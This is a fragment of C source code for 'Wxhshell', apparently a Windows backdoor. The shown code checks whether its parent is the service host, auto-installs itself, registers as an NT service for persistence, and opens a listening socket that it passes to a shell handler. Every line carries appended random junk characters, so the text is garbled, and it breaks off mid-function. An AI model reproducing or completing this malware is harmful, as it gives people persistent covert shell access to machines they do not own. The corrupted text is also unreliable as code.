PROCNTQSIP NtQueryInformationProcess; "D.<~!
SzMh
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]Wkgpfd56
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5`p9Xo>)yW
yR>P
HANDLE hProcess; j_so s%-
PROCESS_BASIC_INFORMATION pbi; g]vB\5uA:
K{DC{yLu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N=1ue`i
if(NULL == hInst ) return 0; J"AR3b@,$?
~@c<5 -`{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (7G4 v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E42)93~C
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '/8/M{`s
<WIIurp
if (!NtQueryInformationProcess) return 0; b:F;6X0~Hl
PEvY3F}_rh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [oU\l+t
if(!hProcess) return 0; f5 bq)Pm&
vmAnBY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n5d8^c! 2
x>EL|Q=?
CloseHandle(hProcess); yk4@@kHW
c46-8z$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qa=Y?=Za
if(hProcess==NULL) return 0; PSq?8.
/";tkad^
HMODULE hMod; p}!i_P
char procName[255]; ASbIc"S6
unsigned long cbNeeded; DW7E ]o
h s',f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zu|NF
uFI
J;_4
3eS
CloseHandle(hProcess); L&kCI`Tb
D^@@ P
if(strstr(procName,"services")) return 1; // 以服务启动 D{B?2}X
O
ixqou
return 0; // 注册表启动 {4 Yxh8
} Bz } nP9
G7&TMg7i
// 主模块 $t%IJT
int StartWxhshell(LPSTR lpCmdLine) M5WB.L[@q
{ 2@tnOs(*
SOCKET wsl; 9k;,WU(K<
BOOL val=TRUE; LH4#p%Pb%
int port=0; nu\AEFT
struct sockaddr_in door; gJ|#xZ
%.=}v7&<z
if(wscfg.ws_autoins) Install(); !lfE7|\p
C+**!uYIB
port=atoi(lpCmdLine); ]F+|C
Ps@']]4>W
if(port<=0) port=wscfg.ws_port; c0Ih$z
$}su'EIo
WSADATA data; o+.L@3RT4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {FFdMdxy-
MBt\"b#t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &'fER-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pSlc (M>
door.sin_family = AF_INET; nvndgeSy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); y-E'Y=j
door.sin_port = htons(port); Q O =5Q
^ l#6Es
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GV0@We~
closesocket(wsl); w|&lRo@1
return 1; i+O7," (@
} 2ul8]=
4q] 6[/
if(listen(wsl,2) == INVALID_SOCKET) { j2,sI4
closesocket(wsl); ZJ%NZAxy
return 1; ppz3"5
} %l!A%fn(
Wxhshell(wsl); 'EIe5Op
WSACleanup(); ra'/~^9
/HRKw
D
return 0; >ZkL`!:s
fhN\AjB6Td
} }
TUr96
oVK:A;3T|
// 以NT服务方式启动 a,oTU\m
C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PoaCnoNS
{ kZG=C6a
DWORD status = 0; KE,.Evyu=
DWORD specificError = 0xfffffff; /o4e
n
lkT :e)w
serviceStatus.dwServiceType = SERVICE_WIN32;
n}a`|Nbk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; A4f"v)vM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Pcgm"H<
serviceStatus.dwWin32ExitCode = 0; m"~ddqSMT
serviceStatus.dwServiceSpecificExitCode = 0; crv#IC2
serviceStatus.dwCheckPoint = 0; .;7V]B1o
serviceStatus.dwWaitHint = 0; GU>j8.
gamB]FPZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s\mA3t
if (hServiceStatusHandle==0) return; 8:& !F`o
:dW\Q&iW
status = GetLastError(); LA;f,CQ
if (status!=NO_ERROR) 2!-Q!c`y
{ `W1uU=c
serviceStatus.dwCurrentState = SERVICE_STOPPED; KMi$0+
serviceStatus.dwCheckPoint = 0; FUL3@Gb$UV
serviceStatus.dwWaitHint = 0; |1_$\k9Y&
serviceStatus.dwWin32ExitCode = status; q<3La(^/
serviceStatus.dwServiceSpecificExitCode = specificError; *l`yxz@U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*t 2IVwX
return; f@;pN=PS
} g "Du]_,
uEb:uENk'(
serviceStatus.dwCurrentState = SERVICE_RUNNING; V7U*09
0*5
serviceStatus.dwCheckPoint = 0; goiI*"6M
serviceStatus.dwWaitHint = 0; IoOOS5a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _fk}d[q0
} Pi"?l[T0
]8%E'd
// 处理NT服务事件,比如:启动、停止 PsUO8g'\
VOID WINAPI NTServiceHandler(DWORD fdwControl) 82,^Pu
{ RTlC]`IGT
switch(fdwControl) 9 RDs`>v
{ {v'eP[
case SERVICE_CONTROL_STOP: EpF9&